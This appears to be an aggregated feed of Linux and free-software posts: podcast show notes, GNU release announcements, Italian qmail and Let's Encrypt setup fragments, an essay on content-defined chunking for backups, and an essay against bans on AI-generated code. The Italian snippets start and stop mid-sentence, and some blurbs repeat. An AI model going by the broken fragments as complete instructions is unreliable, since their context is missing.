qmail-smtpd (maggiori informazioni nel sito di jms);spamc come utente null invece di estrarre il nome utente dal primo destinatario.La mia patch attachments-size-limit che consente di superare un limite di simscan per cui i messaggi con allegati di dimensione superiore a 250k non vengono passati a spamassassin. Questa patch consente di impostare la dimensione massima in byte attraverso la variabile size_limit nel file /var/qmail/control/simcontrol file. Inoltre, gli eventi dove simscan non viene attivato sono ora loggati (prima lo erano solo se il debug è attivo).
A TV station struggles to retrieve its data from the data centre company that a defunct intermediary used, why we don’t want AI to manage our networks (even if Microsoft thinks we should), and understanding vdevs, and datasets in ZFS.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
OpenZFS User and Developer Summit 2026 CfP is open until September 11
FreeBSD Security in Production: Vulnerability Response and Operational Best Practices
News/discussion
Nine PBS sues Iron Mountain over blocked access to archival data
Judge sets framework for Nine PBS to retrieve archival data
The patch window is collapsing: Why security needs a new control plane
Free consulting
We were asked about pools, vdevs, and datasets in ZFS.
35 years ago, a Finnish student began a humble project that would forever change the course of technology.
By Gilles Chehade
You change one line in a large file. Your “incremental” backup re-uploads the whole thing anyway.
Nine times out of ten, it’s not the network, and it’s not your storage backend. It’s the algorithm deciding where to cut your data into pieces.
Every deduplication system works the same way: split data into pieces, hash each piece, keep one copy per distinct hash. A piece is named after its own content, so two identical pieces are, by definition, the same piece. Snapshot a filesystem today and again tomorrow, and if most of the data hasn’t changed, most pieces are already in the store. The second snapshot costs you almost nothing.
That’s not a nice-to-have. A backup that actually survives an incident needs to be encrypted, frequent, immutable, replicated and verified, and each of those requirements multiplies what you store. When deduplication is weak, those multipliers stack until backing up everything becomes unaffordable, and teams quietly retreat to backing up only what they call “critical.” Good deduplication is what makes backing up everything affordable again.
And all of it rests on one assumption: unchanged data should yield unchanged pieces.
The obvious way to split a file is to cut every N bytes. It’s fast. It also wrecks deduplication the moment you touch the file.
Add one byte near the front and every boundary after it slides over by one. Nothing lines up with where it used to be, so every hash downstream is “new,” so the store treats the entire rest of the file as fresh data. Edit one line in a 40 GB file and you re-upload close to 40 GB of it. Nothing meaningful changed, only the offsets did, and fixed-size boundaries are glued to offsets.
Content-Defined Chunking (CDC) picks boundaries based on what the data is, not where it happens to sit.
Slide a small window over the byte stream and keep a rolling hash, cheap enough to update incrementally that the whole scan stays linear, then cut a boundary wherever that hash matches an agreed pattern.
Now insert a byte. The boundaries right around the edit shift. But once the window slides past the change, the hash sequence goes back to matching what it was before, and the boundaries fall back into place on their own. One piece changes. Everything else deduplicates cleanly against the previous snapshot. That self-resynchronizing behaviour is the whole point of CDC.
There’s more than one way to build a rolling hash and a cut rule.
Rabin fingerprinting is the textbook original, correct but slow and allocation-heavy by today’s standards. FastCDC swapped the polynomial hash for a much cheaper Gear hash and normalized the chunk-size distribution, and it became the field’s workhorse. UltraCDC trades a bit of speed for fewer, larger chunks. JC is a newer design that turns out to be strikingly fast. There are also keyed variants, where the hash table is seeded from a secret so two different stores cut the same data at different points, which matters if you care about not leaking which chunks you hold.
We benchmarked these in go-cdc-chunkers, the open-source chunking library behind our backup engine, Plakar, on 1 GiB of random data, the worst case since there’s no structure to exploit. JC hits 3747 MB/s, comfortably ahead of the Gear-based FastCDC variants. Rabin runs about 7.5x slower and allocates roughly 3.3 MB per operation versus a few KB for the others, which on a busy host is the difference between a run you notice and one you don’t. Full benchmarks and charts are published separately.
Using it is trivial:
// One interface for the whole family.
c, _ := chunkers.NewChunker("jc", reader) // or "fastcdc", "ultracdc", "kfastcdc"
for {
chunk, err := c.Next()
// ... hash and store the chunk ...
if err == io.EOF {
break
}
}
Here’s the part that gets too little respect.
Give it enough time and “FastCDC” stops meaning one thing. Every implementation picks up small departures from the paper: a mask off by a bit, a window starting a byte early, a threshold nudged for taste. Harmless for a benchmark. For a storage system it’s a slow-motion disaster, because boundaries are part of your data’s identity. Change how you cut and yesterday’s pieces stop matching today’s, so deduplication degrades with no error and no warning. The store just grows faster than it should.
The fix is to publish spec-faithful, explicitly versioned variants and treat the version number as a promise: a given version cuts a given input the same way, on any machine, forever. Improvements ship under a new name people adopt on purpose, so nothing re-cuts existing data out from under anyone. Versioning also buys you cross-language conformance vectors, published inputs with expected boundaries that any implementation, in any language, can check itself against, byte for byte. That’s what turns “spec-faithful” from a claim into something you can actually test.
So whatever you pick, hold out for two things: a pinned, versioned spec of exactly how boundaries get computed, and published test vectors you can verify yourself. Speed is negotiable. Determinism isn’t.
go-cdc-chunkers is open source for the same reason all of Plakar is. Backup is a trust problem before it is a technical one: you hand one system the single copy of your data meant to survive everything else, yet with most products you cannot read the code, review the cryptography, or verify the recovery path until the day you need it. Open source is the only honest answer I know, and it is the one I took from years on OpenSMTPD and OpenBSD: formats outlive vendors, a backup you cannot open in ten years is not a backup, and the community that reads the code is part of the security model.
To see the deduplication effect directly, you can reproduce the experiment with an open source backup implementation that uses CDC. The following example uses Plakar.”
On macOS, brew install plakarkorp/tap/plakar; on any platform with Go 1.23.3 or newer, go install github.com/PlakarKorp/plakar@latest. Prebuilt binaries, apt and AUR packages for every platform are on the download page.
Create a local store (Plakar calls it a Kloset). It will prompt for a passphrase, since everything is encrypted before it touches disk:
plakar at $HOME/backups create
Now back up a directory:
plakar at $HOME/backups backup $HOME/Documents
The last line of the output tells you what happened:
info: backup: created unsigned snapshot dd62691d of size 6.4 KiB in 125ms (wrote 577 KiB)
Two numbers matter there: the logical size of what you backed up, and the bytes actually written to the store. Now the part that shows CDC working. Change one file, add a paragraph to a document, then run the exact same backup command again. You get a new, self-contained snapshot, but the bytes written the second time are a small fraction of the first, because every chunk that did not change was already in the store and is simply referenced rather than rewritten. Insert a few bytes at the top of a large file and the diagram above becomes concrete: the chunks after the edit resynchronise and deduplicate against the first snapshot instead of being stored again.
You can list snapshots, verify one is intact, then restore it somewhere else:
plakar at $HOME/backups ls
plakar at $HOME/backups check dd62691d
plakar at $HOME/backups restore -to $HOME/restored dd62691d
If you would rather look before installing anything, a public instance of the web UI runs at https://demo.plakar.io with real backups to browse.
It’s all open source: the chunking library is go-cdc-chunkers and the backup engine is Plakar, with the full v1.1.0 benchmarks published for anyone who wants to reproduce them.
Gilles Chehade is a long-time OpenBSD developer and the co-founding CTO of PlakarKorp. He created Plakar.io as a personal tool in 2015 before turning it into an open backup platform that gives security and infrastructure teams “resilience as code.”
The post Why Your Backups Are Too Big: A Practical Guide to Content-Defined Chunking appeared first on Linux.com.
To celebrate 400 episodes, we look back of the last (almost) ten years of positive Linux and FOSS news.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
9.5 years of good news
Thunderbird Is Thriving: Our 2022 Financial Report (May 2023)
Asking for donations in Plasma (Aug 2024)
I think the donation notification works (Dec 2024)
Ubuntu 25.10 and Fedora 43 to drop X11 in GNOME editions (Jun 2025)
An update on the X11 GNOME Session Removal (Jun 2025)
GNOME Mutter Now “Completely Drops The Whole X11 Backend” (Nov 2025)
KDE Going all-in on a Wayland future (Nov 2025)
Give Fedora Silverblue a test drive (Sept 2018)
KDE Linux Alpha has been released (Sept 2025)
Introducing a new version of Steam Play (Aug 2018)
Steam Deck Launching February 25th 2022
Steam Machine, controller, VR headset incoming from Valve (Nov 2025)
Canonical Builds Steam Snap For Ubuntu ARM64 Leveraging FEX (Jan 2026)
Announcing WSL 2 (May 2019)
How one volunteer stopped a backdoor from exposing Linux systems worldwide (Apr 2024)
Linux has made it to Mars (Feb 2021)
Mars Helicopter Ingenuity will fly no more (Jan 2024)
Macros: are they a superpower, a necessary evil, or a mistake?
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Macros: are they a superpower, a necessary evil, or a mistake?
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Shane wants to make his homelab less janky so needs to decide on how to split up his compute and storage, plus some of the KVM over IP devices we own and how we use them.
Support us on patreon and get an ad-free RSS feed with some early episodes
Subscribe to the RSS feed.
Microsoft claims that Windows 11 will work well with 8GB of RAM, some of the innovations coming to high end SSDs, the arguments for TP-Link Omada over Ubiquiti UniFi.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
FreeBSD Support: Greatest Hits
Discussion
Microsoft says 8 GB of RAM should be enough for anyone running Windows 11
Windows quality: an update on the commitment we made in March
Free consulting
We were asked about the arguments for TP-Link Omada over Ubiquiti UniFi.
We are pleased to announce the release of GNUnet 0.29.0.
GNUnet is an alternative network stack for building secure, decentralized and
privacy-preserving distributed applications.
Our goal is to replace the old insecure Internet protocol stack.
Starting from an application for secure publication of files, it has grown to
include all kinds of basic protocol components and applications towards the
creation of a GNU internet.
This is a new major release. The release addresses a couple of regressions and general instability of the transport subsystem. Major versions may break protocol compatibility with the 0.28.X versions. Please be aware that Git master is thus henceforth (and has been for a while) INCOMPATIBLE with the 0.28.X GNUnet network, and interactions between old and new peers will result in issues. In terms of usability, users should be aware that there are still a number of known open issues in particular with respect to ease of use, but also some critical privacy issues especially for mobile users. Also, the nascent network is tiny and thus unlikely to provide good anonymity or extensive amounts of interesting information. As a result, the 0.29.0 release is still only suitable for early adopters with some reasonable pain tolerance .
The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A
Note that due to mirror synchronization, not all links might be functional early after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/
A detailed list of changes can be found in the git log, the NEWS.
In addition to this list, you may also want to consult our bug tracker at bugs.gnunet.org which lists about 190 more specific issues.
This release was the work of many people. The following people contributed code and were thus easily identified: Christian Grothoff, Florian Dold, TheJackiMonster, and Martin Schanzenbach.
Guest hosts Chris from Linux After Dark and Sean from Hybrid Cloud Show tell Joe and Félim about bootc desktop Linux distros, how they build, deploy, and update them, and why this modern approach is so powerful. Plus another system information tool, cutting edge upscaling on the Steam Deck, and why Chris has switched to the KDE Plasma desktop.
Bootc desktops
Using Bootc to Manage Ubuntu Hosts
Mono repository for all bootcrew images
How Steam Play/Proton makes Gaming on Linux Awesome
Discoveries
Support us on patreon and get an ad-free RSS feed with some early episodes
I am happy to announce a new major release of GNU poke, version 5.0.
GNU poke 5.0 release is now available at
https://ftp.gnu.o ... e/poke-5.0.tar.gz
The tarball is signed and you can get the PGP signature at
https://ftp.gnu.o ... ke-5.0.tar.gz.sig
GNU poke (http://www.j ... rch.net/poke) is an interactive, extensible
editor for binary data. Not limited to editing basic entities such
as bits and bytes, it provides a full-fledged procedural,
interactive programming language designed to describe data
structures and to operate on them.
I'd like to thank everyone who contributed to this release through code,
documentation, or testing.
What is new in this release:
commands (-p, --hserver-port).
uint<32> will be interpreted as a single-precision floating-point number
and uint<64> will be interpreted as a double-precision floating-point
number as defined per the IEEE 754 standard.
The following expressions are now supported:
- Addition: a .+ b
- Subtraction: a .- b
- Multiplication: a .* b
- Division: a ./ b
- Ceil-devision: a ./^ b
- Exponentiation: a .** b
- Remainder: a .% b
- Post-increment: a.++
- Pre-increment: .++a
- Post-decrement: a.--
- Pre-decrement: .--a
- Negation: .-a
- Less-than: a .< b
- Less-than-or-equal-to: a .<= b
- Greater-than: a .> b
- Greater-than-or-equal-to: a .>= b
- Equal-to: a .== b
- Not-equal-to: a .!= b
spaces! Extent of a PVM value mapped in a given IO space will be tracked
and values will be re-mapped only if a write happens in their extent; which
is a big performance win for read-intense programs.
length/size of an array with dynamic bound(s) to help the user to
understand the mistake.
fields. Previously write to nested fields of integral structs did not
materialize in IO space.
floating point numbers: sqrtf and sqrtd.
They accept uint<32> and uint<64> respectively as the IEEE 754 single and
double precision floating-point numbers.
to not break the ABI, and bump the version components according to the
libtool's recommendation (when needed).
are now accepting either pk_compiler or pk_val. This is the first step
toward removing global state from libpoke to be able to have multiple
instances of libpoke in a single process (and also to be able to accomplish
thread-safety). We're not there yet, but we'll be there some day (hopefully
soon)!
poke 1.0 by the rationale that it's not that useful of a flag. Turns
out it's quite useful to start from an empty file when assembling binary
files from scratch using poke.
fixed and the following methods has been added:
get_{file,owner_user,group}_name.
also add ptime_str function to get date/time information as a string.
modules, but we still cannot have poke executable for MinGW platform.
Help is very much appreciated in this area!
includes a bunch of corrections to the documentation! Cheers to them!
Happy poking!
Mohammad-Reza Nabipoor
Fail2ban ispeziona i log file (ad es. /var/log/apache/error_log) e banna IPs che mostrano un comportamento sospetto -- troppe password sbagliate, tentativi di exploits, etc. Generalmente Fail2Ban è quindi usato per aggiornare le regole del firewall al fine di rigettare gli indirizzi IP durante un intervallo di tempo settabile, benchè ogni altra azione (come l'invio di una mail di notifica) può anche altresì essere impostata. Tra le altre cose Fail2Ban mette a disposizione dei filtri per diversi servizi come apache, courier, ssh, etc.
Mostrerò brevemente come installare e configurare fail2ban per rigettare le connessioni di IP sospetti, specialmente quelli riguardanti la patch qmail-dnsrbl. Ciò evita di essere bannati noi stessi da spamhaus, che è gratuito solo fino a 100.000 query al giorno.
fail2ban richiede che si abbia un firewall come nftables o iptables attivo.
It’s a forced positivity episode! We all come up with some positive things to say about Linux and open source.
Support us on Patreon and get an ad-free RSS feed with some early episodes
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
In a world where photos can no longer be trusted, Jim argues that we should move to a default distrust model where images are signed at every stage of the process of creation. We get into some of the potential issues. Plus how to ensure continuity for your clients in the event of your demise, and setting up a system to demonstrate ZFS replication capabilities.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
Discussion
Google Earth risked ruin with retracted AI tool for making fake satellite pics
Apple is working on a way to authenticate that a photo came from an iPhone camera
Free consulting
We were asked about how to ensure continuity for your clients in the event of your demise, and setting up a system to demonstrate ZFS replication capabilities.
This is to announce wdiff-1.2.3, a stable release.
There have been 29 commits by 2 people in the 637 weeks since 1.2.2.
See the NEWS below for a brief summary.
Thanks to everyone who has contributed!
The following people contributed changes to this release:
Bob Proulx (6)
Simon Josefsson (23)
Happy Hacking,
Simon [on behalf of the wdiff maintainers]
==================================================================
Here is the GNU wdiff home page:
https://www.gnu.org/software/wdiff/
Manual:
https://www.gnu.org/software/wdiff/manual/
https://www.gnu.org/software/wdiff/manual/wdiff.html - HTML format
https://www.gnu.org/software/wdiff/manual/wdiff.pdf - PDF format
Here are the compressed sources and a GPG detached signature:
https://ftp.gnu.org/gnu/wdiff/wdiff-1.2.3.tar.gz
https://ftp.gnu.org/gnu/wdiff/wdiff-1.2.3.tar.gz.sig
Here is minimal source-only "git archive" sources:
https://ftp.gnu.org/gnu/wdiff/wdiff-v1.2.3-src.tar.gz
https://ftp.gnu.org/gnu/wdiff/wdiff-v1.2.3-src.tar.gz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Here are the SHA256 and SHA3-256 checksums:
File: wdiff-1.2.3.tar.gz
SHA256 sum: 29a4457eb0ed35c902e6732d71f25e1d6c7fe7fa0eda0fb6c371ed6779b49fd6
SHA3-256 sum: 2f558fe6b7a69524f29d266c4018c80a10135cef2e4a53ae3c2944c1fc12c95d
File: wdiff-v1.2.3-src.tar.gz
SHA256 sum: dc29d8f530471b9a8935413dca32e45848363f6e58888fc7307f5f052b8fb827
SHA3-256 sum: 4db1f41eda5e1525f3ced491af1fc1ad094cc21c209e789d12a1ea8f611be24e
Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.
Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify wdiff-1.2.3.tar.gz.sig
The signature should match the fingerprint of the following key:
pub ed25519 2019-03-20 [SC]
B1D2 BD13 75BE CB78 4CF4 F8C4 D73C F638 C53C 06BE
uid Simon Josefsson <simon@josefsson.org>
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
gpg --locate-external-key simon@josefsson.org
gpg --recv-keys 51722B08FE4745A2
wget -q -O- 'https://savannah.gnu.org/project/release-gpgkeys.php?group=wdiff&download=1' | gpg --import -
As a last resort to find the key, you can try the official GNU
keyring:
wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg
gpg --keyring gnu-keyring.gpg --verify wdiff-1.2.3.tar.gz.sig
This release is based on the wdiff git repository, available as
git clone https://https.git.savannah.gnu.org/git/wdiff.git
with commit 31fe62c4a3e2a76e5d68f571b1aa2f10815ca51f tagged as v1.2.3.
For a summary of changes and contributors, see:
https://gitweb.git.savannah.gnu.org/gitweb/?p=wdiff.git;a=shortlog;h=v1.2.3
or run this command from a git-cloned wdiff directory:
git shortlog v1.2.2..v1.2.3
This release was bootstrapped with the following tools:
Gnulib 31fe62c4a3e2a76e5d68f571b1aa2f10815ca51f
Autoconf 2.72
Automake 1.17
Make 4.4.1
Makeinfo 7.3
Help2man 1.49.2
Tar 1.35
Gzip 1.13
NEWS
* Noteworthy changes in release 1.2.3 (2026-06-30) [stable]
** Modernize build environment.
Several minor fixes including build fixes for modern C23 compilers.
Many generated or obsolete files have been removed from git.
Our favourite emoji, favourite vehicles, and whether we’d prefer to live in an icy or cold climate or an extremely hot one. With Félim, Gary, Jim, Allan, May, Shane from Hybrid Cloud Show, and special guest Shane from Linux Lads.
Reports of desktop Linux adoption numbers are probably exaggerated, the Steam Frame seemingly gets closer, Valve’s European logistics partner leaks people’s data, Proxmox gains Arm64 support, GNOME Boxes makes some changes, and a quick KDE Korner. With guest hosts Chris from Linux After Dark, and Sean from Hybrid Cloud Show.
News
Linux Desktop Market Share Surpasses 10% in North America
Steam On Linux Use Back Above 4% In July
Steam hardware shipper breach leaks customer data, including names and addresses
Proxmox Virtual Environment launches official Arm64 Support
Proxmox ports itself to Arm with help from Nvidia and Supermicro
Getting Started With Libvirt and Saltstack
Felipe Borges: The Future of GNOME Boxes
KDE Korner
This Month in KDE Linux: July 2026
This Quarter in KDE Digital Sovereignty: Q2 2026
Support us on patreon and get an ad-free RSS feed with some early episodes
GNU poke (http://www.j ... rch.net/poke) is an interactive, extensible
editor for binary data. Not limited to editing basic entities such
as bits and bytes, it provides a full-fledged procedural,
interactive programming language designed to describe data
structures and to operate on them.
GNU poke 4.90 pre-release is now available at
https://alpha.gnu ... /poke-4.90.tar.gz
The tarball is signed and you can get the PGP signature at
https://alpha.gnu ... e-4.90.tar.gz.sig
The planned date for releasing 5.0 is Sunday 15 August 2026, but
this may change depending on the amount of problems found in this
pre-release, and the subsequent needed additional pre-releases.
Please report any problem found with the pre-release, comments or
patches to poke-devel@gnu.org.
In behalf of the poke developers, thank you!
Happy testing!
Mohammad-Reza Nabipoor
How deep should you go with your understanding of systems?
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
How deep should you go with your understanding of systems?
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
ucspi-tcp6 è una derivaziorne del programma di Daniel Bernsteins ucspi-tcp 0.88, che aggiunge, tra le altre cose, le funzionalità ipv6 al programma originale ucspi-tcp. tcpserver e tcpclient sono strumenti di facile utilizzo dalla linea di comando per costruire applicazioni client-server TCP.
A partire dalla versione 1.13.05 è richiesto il pacchetto mandoc sia per ucspi-tcp6 che per ucspi-ssl. Gli utenti Slackware possono trovare il pacchetto su slackbuild.org.
ucspi-tcp6TCP6_VER=1.13.08
cd /var/qmail/
wget https://www.fehcom.de/ipnet/ucspi-tcp6/ucspi-tcp6-${TCP6_VER}.tgz
tar xzf ucspi-tcp6-${TCP6_VER}.tgz
cd net/ucspi-tcp6-${TCP6_VER}/
./package/install
L'utilizzo di tcpserver, per quanto riguarda l'IPv4, è del tutto simile a quello del programma originale di Bernstein.
In caso di upgrade di ucspi-tcp6 è necessario uccidere i processi tcpserver e riavviare qmail (qmailctl sarà installato dopo):
qmailctl reboot
The biggest homelab mistakes we’ve made, and what we learned from them.
Support us on patreon and get an ad-free RSS feed with early episodes sometimes
Subscribe to the RSS feed.
dehydrated-renew per eseguire il rinnovo del certificato e la sincronizzazione del servizio per SNI solo quando uno o più certificati sono effettivamente cambiati. dehydrated.changed) per evitare ricaricamenti e riavvii non necessari del servizio se un certificato è stato effettivamente distribuito. cert_sync(), fornendo un unico punto di ingresso per la sincronizzazione della configurazione dei certificati di qmail, Dovecot e Apache dopo i rinnovi riusciti. La stessa funzione cert_sync() può essere chiamata tramite uno script autonomo, che non coinvolge l'esecuzione di dehydrated. Ridotte le interruzioni non necessarie del servizio eseguendo la sincronizzazione una volta per ogni ciclo di rinnovo anziché una volta per ogni certificato rinnovato. MAKE_MAIL_CERTS=1. Se MAKE_MAIL_CERTS=0, lo script hook distribuisce solo i certificati (da utilizzare per il server web). ENABLE_SNI=0 (impostazione predefinita). ServerName e ServerAlias per Apache e i domini SNI possono essere impostate facoltativamente con ENABLE_APACHE_SNI_CONF=1.To enable HTTPS on your website, you need to get a certificate (a type of file) from a Certificate Authority (CA). Let’s Encrypt is a CA. In order to get a certificate for your website’s domain from Let’s Encrypt, you have to demonstrate control over the domain. With Let’s Encrypt, you do this using software that uses the ACME protocol which typically runs on your web host.
Microsoft restored an account including files that it initially claimed wasn’t possible, Apple might lock down phones if people don’t keep up their lease payments, ZFS scrubs shouldn’t be painful, and accessing another network from a locked-down work machine.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
ZFS vs Ceph: Do You Actually Need Ceph?
News/discussion
Microsoft restores player’s 25-year-old account following widespread backlash
iOS 27 code suggests Apple could restrict leased devices after missed payments
If Scrubs Hurt, Your ZFS Design Is Broken
Free consulting
We were asked about accessing another network from a locked-down work machine.
Linux After Dark – Episode 120
The answer to bad AI-assisted contributions is not a purity test. It is better engineering discipline.
Earlier this year, a discussion in the GNUstep community raised a proposal that will sound familiar across the Free Software world: prohibit AI-generated code in core projects and proudly advertise the result as “coded by humans” or “AI-free.” The argument was not frivolous. Generative AI raises real questions about copyright, attribution, security, energy use, labor, trust, and the flood of low-quality patches that maintainers are increasingly being asked to review.
But a blanket refusal to use generative AI is the wrong response. It does not solve the hardest problems. It creates rules that are nearly impossible to define or enforce, confuses the method of production with the quality of the product, and risks turning Free Software into a movement that protects yesterday’s workflow instead of protecting software freedom.
Open Source and Free Software are already operating with too few maintainers, too much technical debt, and too many important projects resting on the unpaid labor of a handful of people. We should be very careful about categorically rejecting tools that might help contributors understand old code, write tests, improve documentation, port software, find defects, or perform mechanical modernization. We should be even more careful when our proposed alternative offers the appearance of trust without the substance of it.
The better principle is straightforward:
Regulate the code, not the development process.
What exactly counts as AI-generated code?
Is it a complete function produced from a prompt? A line accepted from an AI-powered autocomplete system? A compiler-suggested correction? An automated refactoring? A test generated from an existing implementation? A translation of documentation? A patch written by a human after asking a model to explain an unfamiliar API? What if the developer uses AI to identify the problem but writes every line manually? What if an IDE quietly includes machine-learning features the contributor never explicitly invoked?
The line between “human-written” and “AI-assisted” is already blurred, and it will become less distinct as generative features are embedded in editors, compilers, debuggers, search engines, and operating systems. A ban that cannot draw a stable boundary will be applied inconsistently. Honest contributors will disclose and be penalized; dishonest contributors will simply omit the disclosure. Others may be falsely accused because their code “looks generated.”
An “AI-free” badge therefore risks promising something a project cannot reliably prove. Free Software should be especially suspicious of unverifiable labels.
None of this means generated code should be trusted.
Research has found substantial security weaknesses in AI-produced code. One empirical study of Copilot snippets found security problems in roughly 30 percent of Python snippets and 24 percent of JavaScript snippets in its later dataset. Other research has demonstrated that code models can memorize portions of their training data, while studies of license compliance have found that models often provide inaccurate licensing information, particularly for copyleft code. Those are serious concerns, not anti-AI superstition. (Security weaknesses study; memorization study; license-compliance study)
The productivity story is also more complicated than the advertising. GitHub reported that developers completed a controlled programming task considerably faster with Copilot, but a later randomized study of experienced Open Source developers working in their own repositories found that the tools available in early 2025 made them 19 percent slower. METR’s 2026 follow-up found suggestive but still statistically uncertain evidence of improvement with newer tools. AI is neither magic nor uniformly useless; its value depends on the person, task, model, and workflow. (GitHub productivity study; METR 2025 study; METR 2026 update)
But human authorship has never guaranteed secure, original, maintainable, or correctly licensed code. That is why healthy projects require tests, review, contributor certification, licensing rules, and maintainers who can reject bad work. The origin of a patch may affect how carefully we inspect it, but it cannot replace inspection.
If a contributor submits code they do not understand, the contribution should be rejected. If the patch fails tests, violates project style, invents APIs, introduces vulnerabilities, obscures provenance, or imposes an unreasonable review burden, it should be rejected. That is true whether the patch was produced by Claude, Copilot, a Stack Overflow answer, a contractor, a junior programmer, or a senior maintainer having a bad afternoon.
The repository contains code, not virtue.
Maintainers have a legitimate complaint: AI can make producing a patch far cheaper than reviewing one. A person can generate thousands of lines in minutes and then expect a volunteer to spend hours establishing whether any of it is correct. That asymmetry can become a denial-of-service attack on a project even when the submitter means well.
The answer, however, is not necessarily to ban a tool. It is to place the cost and responsibility back on the contributor.
A project can require that contributors:
disclose material use of generative AI;
identify the tool and describe how it was used;
certify that they reviewed and understand every submitted change;
explain the design and answer maintainer questions without outsourcing the conversation to a model;
provide focused tests and evidence that the patch solves a real problem;
comply with the project’s licensing and provenance requirements;
keep changes small enough to review; and
accept that unexplained, low-signal, or mass-generated submissions may be closed without detailed triage.
Disclosure is imperfect, but it establishes a community norm and makes an honest contributor accountable. Research into self-declaration practices has already found developers using everything from a simple disclosure to records of prompts, explanations, and quality checks. Projects can choose a level proportionate to their risk. (Study of AI-code self-declaration)
This approach is stricter than either blind enthusiasm or symbolic prohibition. It does not say, “AI wrote it, so it must be acceptable.” It says, “You submitted it, so you are responsible for it.”
Free Software is founded on the user’s freedom to run, study, modify, and share software. Those principles describe control over technology; they do not require that every developer use the same approved method to create it. The Open Source Initiative’s work on an Open Source AI Definition likewise frames the issue around the practical freedoms to use, study, modify, and share systems—not around preserving a pre-AI development ritual. (Open Source AI Definition 1.0)
There are valid reasons for preferring Free or locally operated AI tools over proprietary cloud services. A project may reasonably prohibit contributors from uploading confidential material or unreleased security fixes to third-party systems. It may impose stricter provenance requirements in sensitive components. Individual maintainers may decline to review bulk-generated reports that have repeatedly produced noise. These are concrete policies tied to concrete harms.
What does not follow is that a project becomes more free merely because no contributor used a generative tool.
An “AI-free” identity may even distract from the qualities that users actually need: portability, stability, compatibility, security, good documentation, responsive maintenance, and code whose behavior can be understood and changed. A badge is not a substitute for those things.
Mature Free Software projects often contain decades of code and institutional knowledge. They need documentation, regression tests, API audits, build-system repairs, platform ports, translations, issue triage, and repetitive modernization. Generative AI will not perform those jobs reliably on its own. It can still help a knowledgeable contributor perform some of them.
Rejecting that possibility at the policy level has consequences. It may discourage younger contributors whose development environment already includes these tools. It may disadvantage people working in a second language or developers with disabilities who use AI as an accessibility aid. It may prevent experiments that would have failed harmlessly—or succeeded usefully—under ordinary review. Most dangerously, it can encourage a culture in which the declaration “human-written” is treated as evidence of quality.
Free Software has survived previous waves of automation. High-level languages, garbage collection, IDEs, graphical interface builders, code generators, automated formatters, static analyzers, and online code search all changed what it meant to “write” software. Each tool altered the division of labor between programmer and machine. The relevant question was never whether every token originated in a human mind. The question was whether people retained the freedom, knowledge, and responsibility needed to control the resulting system.
That remains the right question now.
A sensible policy can fit on one page:
Disclosure: Contributors must disclose material AI assistance in the commit message or pull request.
Responsibility: The named human contributor is the author of record and must understand, explain, test, and stand behind the entire submission.
Quality: AI-assisted contributions receive the same requirements for correctness, security, maintainability, style, documentation, and test coverage as any other contribution.
Provenance: Contributors must have a reasonable basis to believe the submission is license-compatible and must identify known sources or generated passages that may reproduce existing code.
Data protection: Project secrets, embargoed vulnerabilities, private communications, and other restricted material may not be submitted to unauthorized external services.
Reviewability: Maintainers may reject oversized, unexplained, repetitive, or low-signal submissions without performing free forensic work for the submitter.
Local discretion: Components with unusual legal, safety, privacy, or reliability risks may adopt additional written restrictions.
This policy does not resolve every ethical question surrounding generative AI. No contribution policy can. It does, however, address the matters a software project can actually evaluate and enforce.
The Free Software community should remain one of the sharpest critics of concentrated corporate power, opaque models, exploitative data practices, environmental cost, and systems that deprive users of control. Criticism is part of our job. So is building an alternative.
If we define ourselves by refusing to touch an important new class of technology, proprietary vendors will shape that technology without us. If instead we insist on transparency, modifiability, privacy, local control, licensing clarity, and human accountability, we can bring the values of Free Software into the AI era.
We do not need to pretend that generative AI is trustworthy. We need processes that do not require us to trust it.
Judge the patch. Demand disclosure. Require understanding. Enforce licensing. Protect reviewers. Reject garbage.
But do not hobble Open Source and Free Software with a blanket ban that is difficult to define, impossible to verify, and disconnected from the quality of the code we ultimately ship.
Initial Steam Machine reviews are broadly positive, Jellyfin is losing some key project leaders, Sony deletes more movies that people “bought”, why you probably shouldn’t wipe your phone when the US authorities ask for access, Graham repurposes some discarded crypto hardware to play arcade games, Félim gets that old game working, a great terminal music player, and more.
News
Steam Machine with SteamOS Linux – initial thoughts
Jellyfin Project Leadership Changes
Sony Deletes A Bunch More Movies From The Accounts Of People Who ‘Bought’ Them
US government targets Cop City protester over phone operating system
David Potter, the man who put Psion in the palm of your hand, logs off at 82
Discoveries
Support us on patreon and get an ad-free RSS feed with some early episodes
We got a lot of feedback about choosing a distro for the friends and family we support, but a lot of suggestions didn’t make sense to us. We get into why we pick boring and safe choices instead of interesting and exciting ones.
Support us on Patreon and get an ad-free RSS feed with some early episodes
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Google wants you to use a selfie video for account recovery, LG will stop apps turning their smart TVs into residential proxy nodes, we disagree about how serious OpenAI’s agent hacking Hugging Face is, FreeBSD removes the last bits of GPL software and suffers an embarrassing git flub , and backing up to an encrypted NAS without ZFS.
Plug
Support us on patreon and get an ad-free RSS feed with some early episodes
News/discussion
Introducing selfie for sign-in: a new, easy way to access your Google Account
LG to Ban Residential Proxies from Smart TV Apps
OpenAI says its AI agent broke out of testing sandbox to hack Hugging Face
